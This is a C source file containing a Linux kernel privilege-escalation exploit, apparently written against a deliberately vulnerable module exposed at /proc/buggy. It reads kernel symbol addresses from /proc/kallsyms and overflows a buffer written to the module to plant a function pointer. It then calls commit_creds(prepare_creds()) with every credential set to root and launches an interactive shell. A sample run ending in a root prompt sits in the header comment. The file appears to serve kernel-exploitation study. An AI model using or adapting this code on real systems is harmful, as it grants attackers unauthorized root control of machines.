exploit-vuln-mod.c

/*

./exploit-vuln-mod

 Thread 0 created successfully

 Thread 1 created successfully
2
[+] enjoy the shell :)

# 

Author: Marcin Kozlowski <marcinguy@gmail.com>

*/


#include<stdio.h>
#include<string.h>
#include<pthread.h>
#include<stdlib.h>
#include<unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/user.h>
 
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/version.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <linux/sched.h>
#define KUIDT_INIT(value) (kuid_t){ value }
#define KGIDT_INIT(value) (kgid_t){ value }
#define GLOBAL_ROOT_UID KUIDT_INIT(0)
#define GLOBAL_ROOT_GID KGIDT_INIT(0)

struct callback_head {
	struct callback_head *next;
	void (*func)(struct callback_head *head);
};
#define rcu_head callback_head
#define _LINUX_CAPABILITY_U32S_3     2
#define _KERNEL_CAPABILITY_U32S    _LINUX_CAPABILITY_U32S_3

typedef struct kernel_cap_struct {
	__u32 cap[_KERNEL_CAPABILITY_U32S];
} kernel_cap_t;

typedef struct {
	int counter;
} atomic_t;

typedef struct {
    uid_t val;
} kuid_t;


typedef struct {
    gid_t val;
} kgid_t;

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring;	/* default keyring to attach requested
					 * keys to */
	struct key __rcu *session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
	void		*security;	/* subjective LSM security */
#endif
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	struct rcu_head	rcu;		/* RCU deletion hook */
};

 

void* (*prepare_creds)(void);  
void* (*commit_creds)(void*) __attribute__((regparm(3)));

pthread_t tid[2];

void* doSomeThing1(void *arg)
{
     unsigned long i = 0;
    pthread_t id = pthread_self();

    if(pthread_equal(id,tid[0]))
    {
       sleep(2);
        printf("1\n");
        
        struct cred *new;
        new = prepare_creds();
 
 
        if ( new != NULL ) 
        {
 
            new->uid = GLOBAL_ROOT_UID;
            new->gid = GLOBAL_ROOT_GID;
            new->euid = GLOBAL_ROOT_UID;
            new->egid = GLOBAL_ROOT_GID;
            new->suid = GLOBAL_ROOT_UID;
            new->sgid = GLOBAL_ROOT_GID;
            new->fsuid = GLOBAL_ROOT_UID;
            new->fsgid = GLOBAL_ROOT_GID;

 
            commit_creds(new);
         }
         while(1)
         {
           printf("uid %d\n", getuid());
         }
    }
    else
    {
       printf("2\n");

       char *args[] = {"/bin/sh", "-i", NULL};
		printf("[+] enjoy the shell :)\n");
		execve("/bin/sh", args, NULL);
    }
    return NULL;


}

void create_th(void)
{
int err;
int i = 0;

   err = pthread_create(&(tid[i]), NULL, &doSomeThing1, NULL);
    if (err != 0)
      printf("\ncan't create thread :[%s]", strerror(err));
    else
      printf("\n Thread %i created successfully\n",i);

    i++;

    err = pthread_create(&(tid[i]), NULL, &doSomeThing1, NULL);
    if (err != 0)
      printf("\ncan't create thread :[%s]", strerror(err));
    else
      printf("\n Thread %i created successfully\n",i);

    for(int i=0; i<2; i++)
        pthread_join(tid[i], NULL);

}

int main(void)
{
    int i = 0;
    int err;
    FILE *fd;
   
    int ret = 0;
    unsigned long addr;
    char dummy;
    char sname[512];
     
  
    
    char buf[20];


    *((void**) (buf+16)) = &doSomeThing1;

    // Get needed addresses
    fd = fopen("/proc/kallsyms", "r");
    if(fd == NULL) {
        perror("fopen()");
        return -1;
    }
    while(ret != EOF) {
        ret = fscanf(fd, "%p %c %sn", (void **)&addr, &dummy, sname);
        if(prepare_creds && commit_creds)
            break;
        else
        if(!strncmp(sname, "prepare_creds", 512))
            prepare_creds = (void*)addr;
        else
        if(!strncmp(sname, "commit_creds", 512))
            commit_creds = (void*)addr;

    }
    fd = fopen("/proc/buggy", "w");
    if(fd == NULL) {
        perror("fopen()");
        return -1;
    }
   
    fwrite(buf, sizeof(buf),1, fd);
    create_th();
    fclose(fd);
    return 0;

}